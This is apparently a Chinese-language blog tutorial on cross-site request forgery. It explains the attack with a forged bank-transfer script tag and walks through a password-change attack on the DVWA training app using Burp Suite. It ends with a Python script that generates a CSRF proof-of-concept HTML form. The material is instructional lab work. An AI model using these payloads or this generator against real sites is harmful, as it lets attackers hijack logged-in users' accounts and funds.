前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
歌曲:
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
CSRF原理:
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192100874-1863708688.png)
实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192133307-1666015451.png)
启动Burpsuite,设置代理。
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192145445-1122980152.png)
回到刚刚的页面,输入要更改的密码。burp开启抓包
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192247500-742658229.png)
抓到的包
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192323662-151780962.png)
构造CSRF POC
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192335147-1098967374.png)
更改所需要的
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192404620-10917442.png)
点击Regenerate按钮更新POC,点击Test in browser复制链接
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192418393-1031749812.png)
点击Copy按钮。复制到浏览器上使用
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192437236-271311860.png)
点击按钮实行csrf攻击。
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192452061-1052762988.png)
从图中我们可以看到密码已经更改,退回登录界面。
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192502886-1019037342.png)
点击登录
![](https://images2018.cnblogs.com/blog/1174022/201804/1174022-20180421192512733-386756248.png)
从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time import simplejson as json def poc(): url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change" headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'} values=url.split('?')[-1] urltwo=url.split('?')[:-1] urltwos="".join(urltwo) dumps={} for line in values.split('&'): key,value=line.split('=',1) dumps[key]=value discts=[i for i in dumps.keys()] print('原url:',url) print('url原带的参数:',dumps) dumps['password_new'] = 'password' dumps['password_conf'] = 'password' valueswto=[g for g in dumps.values()] print('url更该后的参数',dumps) print('1.burpsuite的POC') user=input('请进行你的选择:') if user == '1': print('burpsiuite的POC') burp=open('burp.html','w') burp.write('<html> ') burp.write('<body> ') burp.write('<script>history.pushState("''","''",'"'/'"')</script> ') burp.write('<form action="{}"> '.format(urltwos)) burp.write('<input type="hidden" name="{}" value="{}"/> '.format(discts[0],valueswto[0])) burp.write('<input type="hidden" name="{}" value="{}"/> '.format(discts[1],valueswto[1])) burp.write('<input type="hidden" name="{}" value="{}"/> '.format(discts[2],valueswto[2])) burp.write('<input type="submit" value="Submit CSRF POC"/> ') burp.write('</form> ') burp.write('</body> ') burp.write('</html> ') burp.close() else: print('【-】抱歉你没有进行选择,退出ing...') time.sleep(1) exit() poc()
测试结果如下:
生成的html
打开burp.html
点击按钮